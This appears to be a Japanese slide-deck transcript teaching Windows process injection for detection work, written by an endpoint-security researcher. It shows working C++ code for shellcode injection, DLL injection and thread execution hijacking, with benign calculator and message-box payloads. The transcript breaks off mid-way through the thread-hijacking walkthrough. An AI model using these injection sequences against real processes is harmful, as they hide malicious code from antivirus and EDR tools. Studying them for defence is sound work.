Upgrade to Pro — share decks privately, control downloads, hide ads and more …

入門プロセスインジェクション

Avatar for Asuka Nakajima Asuka Nakajima
October 28, 2025
2.3k

 入門プロセスインジェクション

Avatar for Asuka Nakajima

Asuka Nakajima

October 28, 2025
Tweet

Transcript

  1. ⼊⾨ Process Injection 中島 明⽇⾹ | Asuka Nakajima Senior Security

    Research Engineer @ Elastic Process Injection 101
  2. whoami 中島 明⽇⾹ (なかじま あすか) シニアセキュリティリサーチエンジニア • 所属 ◦ Elastic

    Security (2022年11⽉⼊社) ▪ Endpoint Protections Teamに所属 ▪ エンドポイントセキュリティの研究開発 • 業務内容 ◦ Elastic Defend(EDR機能)を担当 ▪ 特にWindows向け ◦ Windowsが提供するETW (Event Tracing for Windows)という機能を活⽤して、エンドポイ ントにおける収集可能なログを拡充 ◦ 要するに(振る舞い検知において)検知可能な 攻撃を増やすお仕事
  3. 本⽇の講義: Process Injection [1/2] • Process Injectionとは? ◦ 正規のプロセスに悪意のあるコードを注⼊して実⾏する⼿法のことで、 アンチウィルスソフトなどによる検知の回避などに使われる※1

    ◦ MITRE ATT&CK ID: T1055 
 2024に収集した100万マルウェア検体の31%が Process Injectionを使⽤。最頻出攻撃テクニックとのこと※2 [1] https://www.picussecurity.com/resource/blog/red-report-2025-3x-rise-in-credential-theft Picus Security: Red Report 2025 [1] ※2 類似の調査を2017~2023年のマルウェアに対して⾏った学術研究[2]があり、その結果は2022年は29.1%, 2023は20.8%とのことなので上記ホワイト ペーパーもある程度信頼性は⾼いと考えられる [2] https://www.diag.uniroma1.it/delia/papers/asiaccs25.pdf ※1 権限昇格にも使えるが今回は検知回避の⽂脈で講義します
  4. Process Injectionの⼤雑把なイメージ プロセス A (悪) プロセス B (正) 悪意のあるコードを挿⼊し マルウェアなど

    正規プロセス(メモ帳とか) 悪意のあるコード それが実⾏されるよう操作 正規プロセスから実⾏されている為、安全なプログラムであるように⾒える 実⾏ 本⽇の講義: Process Injection [2/2]
  5. • ⽬的 ◦ 背景: 新たな⼿法は⽇々出現 ◦ 新たな⼿法が出現しても、理解できる基礎を⾝に着ける • 講義の流れ ◦

    前提知識のおさらい ◦ プロセスインジェクション基礎 ◦ 各種プロセスインジェクション⼿法の紹介 ◦ 検知‧痕跡の⾒つけ⽅ 講義の⽬的と流れ 例: PoolParty[3], Process Hypnosis[4]等 [3] https://github.com/SafeBreach-Labs/PoolParty [4] https://github.com/CarlosG13/Process-Hypnosis-Debugger-assisted-control-flow-hijack
  6. • 前提 ◦ 本講義はWindows(64bit)が前提 ◦ ユーザモード側(アプリケーション側)の話に限定 ◦ ある程度C/C++の基礎が分かっている前提 • デモプログラムの開発環境

    ◦ Windows 11 24H2 (OS Build 26100.6725) ◦ IDE: Microsoft Visual Studio Professional 2022, ver17.14.16 ◦ C++17環境 • デモプログラムの実⾏環境 (作成時点の最新のWindows11) ◦ Windows 11 24H2 (OS Build 26100.6725) ◦ Windows Defenderのリアルタイム検知は無効化/ EDR等もない環境
 講義の前提
  7. 配布ファイル⼀覧 ファイルの種別 ファイル名 講義スライド 00_講義資料.pdf Shellcode Injection 01_shellcodeinjection.cpp DLL Injection

    02_dllinjection.cpp Thread Execution Hijacking 03_threadexecutionhijack.cpp APC Injection (EarlyBird) 04_apcinjection.cpp EvilDll(インジェクションに利⽤) evildll.cpp ビルド⽤のファイルや、ビルド後の実⾏ファイルはお配りしていません 01_shellcodeinjection.cppはビルド後 01_shellcodeinjection.exeになる。他も同様
  8. おさらいする前提知識⼀覧 ➔ 実⾏ファイルとは何か? ➔ DLLとは何か? ➔ プロセスとは何か? ➔ スレッドとは何か? ➔

    ハンドルとは何か? ➔ メモリとは何か? ➔ Windows APIとは何か? ➔ シェルコードとは何か?   Process Injectionの基礎の理解に必要な範囲をおさらい
  9. 実⾏ファイルとは • ⽇常的に利⽤するソフトウェアは実⾏ファイル形式 ◦ Windowsの場合PE(Portable Executable)という実⾏ファイル形式 Webブラウザ、メーラー,etc OS(イメージローダ)が実⾏ファイルを読み込んで Windows上で展開‧実⾏するための情報が格納されている ソースコード

     ソフトウェア(実⾏ファイル) 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 00 00 00 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 …………………………………………………………………………… …………………………………………………………………………… ………… #include <iostream> #include <string> #include Windows.h> int main(int argc, char* argv[]) { DWORD dwPid = 0; HANDLE hProcess = NULL; -後略– ビルド
  10. DLLは単体で実⾏することが出来ない実⾏ファイル(PE形式) DLL (Dynamic Link Library) [1/2] 
 • ライブラリ ◦

    汎⽤性の⾼い機能群(関数群)を他のプログラム(開発者から)が利⽤可能な 形式にまとめたもの ◦ プログラム本体から使えるように、紐づけ(リンク)をする必要がある • リンク⽅法 ◦ 静的リンク(Static Link): 本体の実⾏ファイルにリンク(合体) ◦ 動的リンク(Dynamic Link): 実⾏時に必要なライブラリをリンク ⼀例: ⽂字列操作、数値演算 DLLはその名前の通り動的リンクを使ったライブラリ(例:kernel32.dll) C:\Windows\System32内
  11. • DLLMain 
 ◦ DLLにおけるmain関数 ▪ BOOL APIENTRY DllMain (HMODULE

    hModule, 
 DWORD ul_reason_for_call, LPVOID lpReserved)
 ◦ DLL読み込み(ロード)時等に実⾏される • エクスポート関数 ◦ ライブラリとして外部に提供する関数 ◦ __declspec (dllexport)キーワードを使えばOK ▪ 例: __declspec (dllexport) void SampleFunction(void)
 DLL (Dynamic Link Library) [2/2] 

  12. プロセスの諸要素 
 各プロセスは独⾃に以下の情報‧領域を持つ • プロセスID (PID)と呼ばれる⼀意の識別⼦ • 実⾏可能プログラム • 仮想アドレス空間

    ◦ プロセスが利⽤するメモリ空間 • ⼀つ以上のスレッド ◦ プログラムの実⾏の主体 • ハンドルテーブル ◦ オブジェクトの参照に利⽤ • アクセストークン ◦ 実⾏するユーザやその特権の情報など プロセスA (PID:12345) スレッド プロセス(器)のイメージ 仮想アドレス空間 アクセス トークン ハンドルテーブル 実⾏可能プログラム
  13. Thread A2 スレッドの概要 [1/4] プログラムの実⾏を⾏うための、プロセス内の実⾏単位 (OSがCPUの処理時間を割り当てる時の基本単位) プロセスA CPU(4コア※) Thread A1

    プロセスB Thread A2 Thread B1 Thread B2 Thread B3 ※(補足)Hyper-Threading(SMT)機能は無いものとします Thread A1 Thread B2 Thread B3 コア1 コア2 コア3 コア4
  14. スレッドの概要 [3/4] プログラムの実⾏を⾏うための、プロセス内の実⾏単位 (OSがCPUの処理時間を割り当てる時の基本単位) プロセスA Thread A1 プロセスB Thread A2

    Thread B1 Thread B2 Thread B3 CPU (コア1) Thread A1 Thread B2 Thread B3 Thread B1 Thread A1 時系列 イメージ スレッドを切り替えながら実⾏している
  15. • スレッドID (TID)と呼ばれる⼀意の識別⼦ • スタック(と呼ばれるメモリ領域) • TLS (Thread-Local Storage) ◦

    スレッド固有の情報を格納するための記憶領域 • CPUの状態に対応した⼀揃いのレジスタの内容 ◦ ⼀般にスレッドコンテキストと呼ばれる • その他にもAPCキューや、優先順位度やアフィニティ等 スレッドの概要 [4/4] 各スレッドは独⾃に以下の情報‧領域を持つ
  16. スレッドの切り替えとスレッドコンテキスト 
 CPU内では様々な情報を保持しており、スレッドの切り替え時に 各スレッドに紐づくその情報(スレッドコンテキスト)を保管‧復元している CPU (コア1) Thread A1 ★ Thread

    B2 Thread B3 Thread B1 Thread A1 時系列 ★が現在CPU上で実⾏されているスレッド CPU内のレジスタ (記憶領域) RIPレジスタ : 0x00007FF7DF041000 RAXレジスタ: 0xFFFF 以下略 RIPには次実⾏すべきアドレスが格納されている
  17. スレッドの切り替えとスレッドコンテキスト 
 CPU内では様々な情報を保持しており、スレッドの切り替え時に 各スレッドに紐づくその情報(スレッドコンテキスト)を保管‧復元している CPU (コア1) Thread A1 ★ Thread

    B2 Thread B3 Thread B1 Thread A1 時系列 ★が現在CPU上で実⾏されているスレッド CPU内のレジスタ (記憶領域) RIPレジスタ : 0x00007FF7DF041000 RAXレジスタ: 0xFFFF 以下略 RIPには次実⾏すべきアドレスが格納されている 別のスレッドに実⾏を切り替える前 に上記(スレッドコンテキスト)を保存
  18. スレッドの切り替えとスレッドコンテキスト 
 CPU内では様々な情報を保持しており、スレッドの切り替え時に 各スレッドに紐づくその情報(スレッドコンテキスト)を保管‧復元している CPU (コア1) Thread A1 Thread B2★

    Thread B3 Thread B1 Thread A1 時系列 ★が現在CPU上で実⾏されているスレッド CPU内のレジスタ (記憶領域) RIPレジスタ : 0x00007FFF5E0DA185 RAXレジスタ: 0xA 以下略 RIPには次実⾏すべきアドレスが格納されている Thread B2のスレッドコンテキ ストに切り替える
  19. スレッドの切り替えとスレッドコンテキスト 
 CPU内では様々な情報を保持しており、スレッドの切り替え時に 各スレッドに紐づくその情報(スレッドコンテキスト)を保管‧復元している CPU (コア1) Thread A1 Thread B2

    Thread B3 Thread B1 Thread A1★ 時系列 ★が現在CPU上で実⾏されているスレッド CPU内のレジスタ (記憶領域) RIPレジスタ : 0x00007FF7DF041000 RAXレジスタ: 0xFFFF 以下略 RIPには次実⾏すべきアドレスが格納されている 保存していたThread A1の スレッドコンテキストに戻す
  20. オブジェクトとハンドル 
 • Windows上のリソースはオブジェクトで表現される ◦ リソース: プロセス、スレッド、ファイル等※ ◦ オブジェクト: 構造体で表され、実体はOS側が管理

    ▪ そのためアプリ側からオブジェクトを直接操作する事が出来ない • オブジェクトを操作する為にハンドルがある ◦ ハンドルはオブジェクトを識別‧操作するための識別⼦(整数値) ◦ ハンドルテーブル上で、識別⼦と実際のオブジェクトの紐づけを している ※オブジェクトにも様々な種類があるが、ここではエグゼクティブオブジェクトの話をしている
  21. 仮想メモリ (Virtual Memory) 物理的なアドレスとは別に仮想的なアドレスを 割り当てて管理するメモリ管理⽅式の⼀種 プロセス Aの仮想アドレス空間 物理メモリ空間 
 補助記憶装置

    
 (HDD/SSD) 
 プロセスからは連続した アドレス領域を持っているように⾒える 実際の物理メモリ空間よりも多くのメモリが使えるように⾒える
  22. 補⾜: 仮想アドレス空間とDLL メモリの節約等のため、異なるプロセスでもDLLは共通のもの※1を使っている (= 物理メモリにマップされたDLLを、各プロセスが共有で使っている) 物理メモリ空間 プロセスA(例:notepad.exe) 仮想アドレス空間 kernel32.dll プロセスB(例:

    slack.exe) 仮想アドレス空間 kernel32.dll kernel32.dll※2 ※1個別に書き込みが生じた部分(プロセス固有の値になった部分)はCopy on Writeによりプライベートメモリにコピーされる ※2 kernel32.dllのようなKnownDLLsと呼ばれる DLLは、基本的に各プロセス内の仮想アドレス空間内で同じベースアドレスにロードされてる
  23. 仮想アドレス領域内のページ情報 仮想アドレス空間内のメモリは「ページ」という単位で管理され、 「状態」、「種類」、「アクセス保護属性」の要素を持つ ページ 1 仮想アドレス空間 ページ 2 ページ 3

    ページ 4 ・ ・ ・ ページ情報例 • 状態(state): MEM_COMMIT • 種類(type): MEM_IMAGE • アクセス保護属性(protection) PAGE_EXECUTE_READ ページ 5 同一属性の連続ページを ”領域(region)”と呼ぶ
  24. ページの状態 • MEM_RESERVE (予約) ◦ 将来利⽤するためにあらかじめ予約された状態の仮想アドレス領域内のメ モリ(ページ) • MEM_COMMIT (コミット済み)

    ◦ 予約された仮想アドレス領域内のメモリ(ページ)に物理アドレスが割り 当てられた状態 • MEM_FREE (空き) ◦ 何も割り当てられていない(予約でもコミット済みでもない)状態 連続したアドレスを確保し、メモリを効率的に使う為に「予約」がある
  25. • MEM_IMAGE ◦ EXE/DLL などの実⾏ファイル(PE)のイメージをマップした仮想メ モリアドレス領域 • MEM_MAPPED ◦ (簡単に⾔えば)実⾏ファイル以外のファイルをマップした仮想メモリ

    アドレス領域 (共有メモリも含む) • MEM_PRIVATE ◦ プライベートメモリ領域。他のプロセスに共有されず、どのファイ ルにもマップされていない仮想メモリアドレス領域 ページの種類
  26. ページのアクセス保護属性(⼀部抜粋) アクセス保護属性 アクセス保護属性の概説 PAGE_NOACCESS コミットされたページ領域へのすべてのアクセスを無効 にする PAGE_READONLY コミットされたページ領域への読み取り専用アクセスを有効 にする PAGE_READWRITE

    コミットされたページ領域への読み取り専用または読み取り /書き込みア クセスを有効 にする PAGE_WRITECOPY ファイル マッピング オブジェクトのマップされたビューへの読み取り専用ま たは書き込み時コピー アクセスを有効にする PAGE_EXECUTE コミットされたページ領域への実行アクセスを有効 にする PAGE_EXECUTE_READ コミットされたページ領域への実行または読み取り専用アクセスを有効 にする PAGE_EXECUTE_READWRITE コミットされたページ領域への実行、読み取り専用、または読み取り /書 き込みアクセスを有効 にする PAGE_EXECUTE_WRITECOPY ファイル マッピング オブジェクトのマップされたビューへの実行、読み取り 専用、または書き込み時のコピー アクセスを有効にする
  27. Windows API例 : OpenProcess HANDLE OpenProcess( [in] DWORD dwDesiredAccess, [in]

    BOOL bInheritHandle, [in] DWORD dwProcessId ); https://learn.microsoft.com/ja-jp/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess ⼊出⼒ 引数の型 引数名 簡易説明 引数1 In (⼊⼒) DWORD 4バイト符号なし整数 dwDesiredAccess 対象のプロセスへのアクセス権 に関するオプションを指定する 引数 2 In (⼊⼒) BOOL TRUE/FALSEを表現する型 bInheritHandle ハンドルの継承オプション 引数 3 In (⼊⼒) DWORD 4バイト符号なし整数 dwProcessId 対象のプロセスのPID ドキュメントURL 指定したプロセス(PID)に対するハンドルを返してくれる関数
  28. 仮想メモリを割り当てる為のAPI VirtualAllocやVirtualAllocExなどがある LPVOID VirtualAllocEx( [in] HANDLE hProcess, [in, optional] LPVOID

    lpAddress, [in] SIZE_T dwSize, [in] DWORD flAllocationType, [in] DWORD flProtect); 指定したプロセスの仮想アドレス空間内のメモリ領域の状態を予約、コミット、または変更 lpBuffer = VirtualAllocEx(hProcess, nullptr, dwSize,       MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 使⽤例 (以下例では割り当てられたメモリ領域のアドレスはlpBufferに) 対象プロセスのハンドル 割り当てる領域のサイズ メモリ割り当ての種類 アクセス保護属性 予約と同時にコミット & 対象ページは読み書き実⾏できる
  29. シェルコード (shellcode) コンピュータ上で任意の動作を⾏わせるための機械語命令列の断⽚ ソースコード void main(){ MessageBoxANULL, “test", MB_OK; }

    アセンブリ push ebp mov ebp, esp sub esp, 0x10 xor ecx, ecx –以下略– 機械語命令列 これがシェルコードとなる 脆弱性を悪⽤して正規のプロセス上で任意のコードを実⾏させたい時等に利⽤ 0x55,0x89,0xe5,0x83, 0xec,0x10,0x31,0xc9, 0xf7 –以下略–
  30. Shellcode Injection 正規のプロセスに対して、⽤意したシェルコードを 注⼊して、新たなスレッド(の開始地点)として実⾏ 01_shellcodeinjection.cpp 正規プロセス: notepad.exe (PID: 18876)  

    悪意のあるプロセス: 01_shellcodeinjection.exe 01_shellcodeinjection.exe <PID> (今回は18877)を実⾏すると、 正規のプロセス上で電卓を起動するシェルコードが挿⼊‧実⾏される 電卓
  31. Shellcode Injectionのコード 正規のプロセスに対して、⽤意したシェルコードを 注⼊して、新たなスレッド(の開始地点)として実⾏  BYTE shellcode[] = "(省略)";  // [1] 正規のプロセスのハンドルを取得

     hProcess = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION |           PROCESS_CREATE_THREAD,FALSE, dwPid);  // [2] シェルコードを書き込む為のバッファ(メモリ)を、正規プロセス側に確保 lpBuffer = VirtualAllocEx(hProcess, nullptr, sizeof(shellcode),           MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);  // [3] 上記で確保したバッファにシェルコードを書き込む  WriteProcessMemory(hProcess, lpBuffer, shellcode,sizeof(shellcode), NULL));  // [4] 対象プロセスで新規にスレッドを作成する。その際、スレッドの実⾏開始点として、  // シェルコードを書き込んだバッファを指定する  CreateRemoteThread(hProcess, nullptr, 0,(LPTHREAD_START_ROUTINE)lpBuffer, nullptr, 0, nullptr); 主要なコードはたったこれだけ! 01_shellcodeinjection.cpp
  32. Shellcode Injectionの流れを図解(全4ステップ) Step 1: 確保したバッファにシェルコードを書き込む Step 2: 対象プロセスに新規にスレッドを作成する Step 3

    Step 4 プロセス A (悪) プロセス B (正) WriteProcessMemory() プロセス A (悪) CreateRemoteThread() プロセス B (正) Shellcode Shellcode 電卓 スレッドの実⾏開始点として、シェルコードを書き込んだバッファを指定する
  33. ステップ1: 対象のプロセスのハンドルを取得 hProcess = OpenProcess(PROCESS_VM_WRITE|PROCESS_VM_OPERATION                |PROCESS_CREATE_THREAD,FALSE, dwPid); Shellcode Injection

    • dwPidに⼊ったプロセスIDのプロセスのハンドル(hProcess)を取得 ◦ プロセスIDはコマンドライン引数にて指定したもの • 対象プロセスに対して、以下の権限を要求‧取得 ◦ PROCESS_VM_WRITE    -> メモリへの書き込み権限 ◦ PROCESS_VM_OPERATION -> メモリの操作権限 ◦ PROCESS_CREATE_THREAD -> スレッドを作成する権限
  34. lpBuffer = VirtualAllocEx(hProcess, nullptr, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); ステップ2:

    シェルコードを書き込む為のバッファ(メモリ)を対象 プロセス側に確保 Shellcode Injection • 対象のプロセス(hProcess)にシェルコードサイズ分のメモリを確保 ◦ 確保したバッファのアドレスはlpBufferという変数に格納 ◦ シェルコードサイズはsizeof(shellcode)で計算 • メモリの状態 ◦ MEM_RESERVE | MEM_COMMIT ->メモリを確保 • メモリのアクセス保護属性 ◦ PAGE_EXECUTE_READWRITE -> 読み書き実⾏
  35. ステップ3: 確保したバッファにシェルコードを書き込む    WriteProcessMemory(hProcess, lpBuffer, shellcode,   sizeof(shellcode), NULL)); Shellcode Injection •

    確保したバッファ(lpBuffer)にシェルコードを書き込む ◦ 電卓(calc.exe)を起動するシェルコードを利⽤ ◦ msfvenomを利⽤して⽣成 • 補⾜: 各引数の概要(抜粋) ◦ hProcess: 対象プロセスのハンドル ◦ lpBuffer: シェルコードの為に確保したバッファのアドレス ◦ shellcode: シェルコードのアドレス
  36. ステップ4: 対象プロセスに新規にスレッドを作成する CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpBuffer, nullptr, 0, nullptr); Shellcode

    Injection • 対象のプロセス(hProcess)で新たなスレッドを作成する ◦ スレッドの開始点となる関数として、lpBufferのアドレスを渡す ◦ (再掲)lpBufferには電卓を起動するシェルコードが書き込み済み • スレッド作成と同時にシェルコードが関数として実⾏ ◦ 電卓が起動する
  37. 補⾜1: CreateRemoteThread関数 • デバッグ⽬的 ◦ デバッガがデバッグ対象のプロセスを強制的に中断 ▪ DebugBreak関数を呼び出すThreadを挿⼊ • プロファイリング⽬的

    ◦ あるプロセスが他のプロセスに関する内部情報収集の為   なぜ他のプロセスで新規スレッドを作成できる仕様なのか?
  38. 補⾜2: プロセスの保護 (の⼀例) • Protected Process Light ◦ 実⾏中のプロセスを保護する機能 ▪

    Windows8.1から実装 ▪ Protected Processの簡易版 ◦ サードパーティー製の製品も利⽤可能 ▪ アンチウィルスソフトも利⽤ 
 他のプロセスに何か挿⼊できるならば、攻撃者のやりたい放題ではないか? ただし、PPLに対してもBypass⼿法が考案‧公開されている
  39. DLL Injection 
 02_dllinjection.cpp 正規のプロセスに対して、細⼯したDLLを ロードさせることで、任意のコードを実⾏ 正規プロセス: notepad.exe (PID: 30164)

    悪意のあるプロセス: 02_dllinjection.exe 02_dllinjection.exe <PID> <DLLのパス>を実⾏すると、 正規のプロセス上で細⼯したDLLが読み込まれ、任意コードが実⾏される 細⼯したDLL: EvilDLL.dll メッセージボックスが表⽰される
  40. DLL Injectionのコード 
 // [1] 正規のプロセスのハンドルを取得 hProcess = OpenProcess(PROCESS_VM_WRITE |

    PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD, FALSE, dwPid); // [2] DLLパスを書き組む為のバッファを確保 lpBuffer = VirtualAllocEx(hProcess, nullptr, pathSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); // [3] 確保したバッファに⽤意したDLLのパス(EvilDLL.dll)を書き込む WriteProcessMemory(hProcess, lpBuffer, argv[2], pathSize, NULL); // [4] DLLをロードするためのLoadLibraryA関数のアドレスを取得 hKernel32 = GetModuleHandleA("kernel32.dll"); pLoadLibraryA = GetProcAddress(hKernel32, "LoadLibraryA"); // [5] 新しいスレッドを作成する。LoadLibraryAを実⾏して、DLL(EvilDLL.dll)読み込ませる CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)pLoadLibraryA, lpBuffer, 0, nullptr); 主要なコードはたったこれだけ! 02_dllinjection.cpp 正規のプロセスに対して、細⼯したDLLを ロードさせることで、任意のコードを実⾏
  41. 名前 説明 OpenProcess 指定したプロセスIDに対するプロセスハンドルを取得 VirtualAllocEx 指定されたプロセスの仮想アドレス空間内のメモリ領域の予約と コミットの⼀⽅または両⽅を⾏う WriteProcessMemory 指定されたプロセスのメモリ領域にデータを書き込む GetModuleHandleA

    (既に読み込み済みの) 指定されたモジュール名(DLL)のモジュー ルハンドルを取得 GetProcAddress モジュール(DLL)内の指定の関数のアドレスを取得 LoadLibraryA 指定したモジュール(DLL)を呼び出し元プロセスのアドレス空間 に読み込む CreateRemoteThread 別のプロセスの仮想アドレス空間で実⾏されるスレッドを作成 DLL Injectionで利⽤する主要API
  42. 今回⽤意したDLL(EvilDLL.dll) DLLがプロセスに読み込まれた時に、任意のコードを実⾏ BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call,LPVOID lpReserved) {

    switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBoxA(NULL, "test", "test", MB_OK); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } MessageBoxを出すだけ evildll.cpp
  43. DLL Injectionの流れを図解(全5ステップ) Step 1: 確保したバッファにDLL(EvilDLL.dll)のパスを書き込む Step 2: DLLをロードするためのLoadLibraryA関数のアドレスを取得 Step 3

    Step 4 プロセス A (悪) プロセス B (正) WriteProcessMemory() プロセス A (悪) GetModuleHandleA() プロセス B (正) DLL Path DLL Path GetProcAddress() kernel32.dll内のLoadLibraryA関数のアドレスを取得 kernel32.dll
  44. DLL Injectionの流れを図解(全5ステップ) Step 1: 対象プロセスに新規にスレッドを作成する Step 5 プロセス A (悪)

    プロセス B (正) CreateRemoteThread() DLL Path EvilDLL.dll LoadLibraryA(“EvilDLL.dllのパス”)でEvilDLL.dllがプロセスに読み込まれる MessageBox スレッドの実⾏開始点として、 kernel32.dll内にあるLoadLibraryA関数を指定。 その際読み込むDLLとしては、EvilDLL.dllを指定 kernel32.dll
  45. DLL Injection ステップ1: 対象のプロセスのハンドルを取得 hProcess = OpenProcess(PROCESS_VM_WRITE|PROCESS_VM_OPERATION                |PROCESS_CREATE_THREAD,FALSE, dwPid);

    • dwPidに⼊ったプロセスIDのプロセスのハンドル(hProcess)を取得 ◦ プロセスIDはコマンドライン引数で指定したものがdwPidに • 対象プロセスに対して、以下の権限を要求‧取得 ◦ PROCESS_VM_WRITE    -> メモリへの書き込み権限 ◦ PROCESS_VM_OPERATION -> メモリの操作権限 ◦ PROCESS_CREATE_THREAD -> スレッドを作成する権限
  46. ステップ2: DLLのパスを書き込むためのバッファを確保 lpBuffer = VirtualAllocEx(hProcess, nullptr, pathSize, MEM_RESERVE | MEM_COMMIT,

    PAGE_READWRITE); DLL Injection • 対象プロセスにDLLパス分のサイズのバッファを確保 ◦ DLLのパス分のサイズは計算済みでpathSizeに格納済み ◦ 確保したバッファのアドレスはlpBufferという変数に格納 • メモリの状態 ◦ MEM_RESERVE | MEM_COMMIT -> メモリの確保 • メモリのアクセス保護属性 ◦ PAGE_READWRITE -> 読み書き
  47. ステップ3: 確保したバッファにDLLのパスを書き込む WriteProcessMemory(hProcess, lpBuffer, argv[2], pathSize, NULL); DLL Injection •

    メモリアドレス(lpBuffer)にDLLのパスを書き込む ◦ コマンドライン引数の2番⽬(argv[2])で渡したDLLのパスが格納されている ◦ DLLのパス: C:\Users\asp\Documents\ProcessInjection\EvilDll.dll • 補⾜: 各引数の概要(抜粋) ◦ hProcess: 対象プロセスのハンドル ◦ lpBuffer: DLLのパスを書き込む為に確保したバッファのアドレス ◦ argv[2]: DLLのパス(のアドレス)
  48. ステップ4: DLLをロードするためのLoadLibraryA関数 のアドレスを取得 hKernel32 = GetModuleHandleA("kernel32.dll"); pLoadLibraryA = GetProcAddress(hKernel32, "LoadLibraryA");

    DLL Injection • GetModuleHandleA 
 ◦ (既に読み込み済みの)指定されたモジュール名(DLL)のモジュールハン ドルを取得 (ここではkernel32.dll を指定)
 • GetProcAddress 
 ◦ モジュール(DLL)内の指定の関数のアドレスを取得
 ◦ kernel32.dllが持つLoadLibraryA関数のアドレスを取得 

  49. ステップ5: 対象プロセスに新規にスレッドを作成する CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)pLoadLibraryA, lpBuffer, 0, nullptr); DLL

    Injection • 指定のプロセス(hProcess)で新たなスレッドを作成する ◦ スレッドの開始点となる関数としてLoadLibraryAを指定 ◦ LoadLibraryAの引数として、DLLのパスも渡す • スレッド作成と同時にEvilDLL.dllが対象プロセスにロードされる ◦ 結果としてMessageBoxが表⽰される ▪ (再掲)EvilDLL.dllはロード時MessageBox関数を呼び出す実装の為
  50. Thread Execution Hijacking 実⾏中の正規プロセスのスレッドの実⾏位置を 改竄して(任意のコードを指すように改竄)、任意のコードを実⾏させる 03_threadexecutionhijack.cpp 正規プロセス: SnippingTool.exe  (PID: 26100)

    悪意のあるプロセス: 03_threadexecutionhijack.exe 03_threadexecutionhijack.exe <PID> (今回は26100)を実⾏すると、 正規のプロセス上で、電卓を起動するシェルコードが実⾏される 電卓
  51. Thread Execution Hijackingのコード [1/3] // [1] 正規プロセスのハンドルを取得 hProcess = OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,dwPid);

    // [2] シェルコードを書き込む為のバッファ(メモリ)を、正規プロセス側に確保 lpBuffer = VirtualAllocEx(hProcess, nullptr, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); // [3] 確保したバッファにシェルコードを書き込む WriteProcessMemory(hProcess,lpBuffer, shellcode, sizeof(shellcode), NULL); 03_threadexecutionhajack.cpp 実⾏中の正規プロセスのスレッドの実⾏位置を 改竄して(任意のコードを指すように改竄)、任意のコードを実⾏させる
  52. Thread Execution Hijackingのコード [2/3] // [4] 対象プロセスのスレッドを探しそのハンドルを取得する。GetFirstThreadは⾃作関数(後述) hThread = GetFirstThread(dwPid);

    // [5] 対象スレッドをサスペンド状態(停⽌状態)にする  SuspendThread(hThread); // [6] (対象スレッドの)スレッドコンテキストを取得して、次に実⾏する命令位置を改竄 CONTEXT ctx{}; ctx.ContextFlags = CONTEXT_CONTROL; GetThreadContext(hThread, &ctx); ctx.Rip = (ULONGLONG)lpBuffer; SetThreadContext(hThread, &ctx)); // [7] 対象スレッドのサスペンド状態を解除する(スレッドを再開する) ResumeThread(hThread); 03_threadexecutionhajack.cpp 実⾏中の正規プロセスのスレッドの実⾏位置を 改竄して(任意のコードを指すように改竄)、任意のコードを実⾏させる
  53. Thread Execution Hijackingのコード [3/3] 03_threadexecutionhajack.cpp HANDLE GetFirstThread(const DWORD dwTargetPid) HANDLE

    hThread = NULL; THREADENTRY32 threadEntry{}; threadEntry.dwSize = sizeof(THREADENTRY32); HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); if (!Thread32First(hSnapshot, &threadEntry)){ [中略] } do { if (threadEntry.th32OwnerProcessID == dwTargetPid){ hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_GET_CONTEXT | THREAD_SUSPEND_RESUME, FALSE, threadEntry.th32ThreadID); if (hThread != NULL){ break; } } } while (Thread32Next(hSnapshot, &threadEntry)); CloseHandle(hSnapshot); return hThread; } GetFirstThread関数の中⾝ 対象プロセスのスレッドを探してそのハンドルを取得している
  54. 名前 説明 OpenProcess 指定したプロセスIDに対するプロセスハンドルを取得 VirtualAllocEx 指定されたプロセスの仮想アドレス空間内のメモリ領域の予約と コミットの⼀⽅または両⽅を⾏う WriteProcessMemory 指定されたプロセスのメモリ領域にデータを書き込む CreateToolhelp32Snapshot

    (指定したプロセス、またはすべてのプロセスの)スナップショット と、これらのプロセスで使⽤されるヒープ、モジュール、スレッ ドを受け取る Thread32First (スナップショットの)最初のスレッドの情報を取得 Thread32Next (スナップショットの)次のスレッドの情報を取得 OpenThread 指定したスレッドIDに対するスレッドハンドルを取得 SuspendThread 指定したスレッドを中断 (中断カウントをインクリメントする) GetThreadContext 指定したスレッドのスレッドコンテキストを取得 SetThreadContext 指定したスレッドのスレッドコンテキストを設定 ResumeThread スレッドの中断カウントを⼀つ減らす(0でスレッド再開) Thread Execution Hijackで利⽤する主要API
  55. Thread Execution Hijackの流れを図解(全7ステップ) Step 1: 確保したバッファにシェルコードを書き込む Step 2: 対象プロセスのスレッドを探しそのハンドルを取得する Step

    3 Step 4 プロセス A (悪) プロセス B (正) WriteProcessMemory() プロセス A (悪) CreateToolhelp32Snapshot() プロセス B (正) Shellcode Shellcode Thread 発見! Thread32First()/Thread32Next() OpenThread()
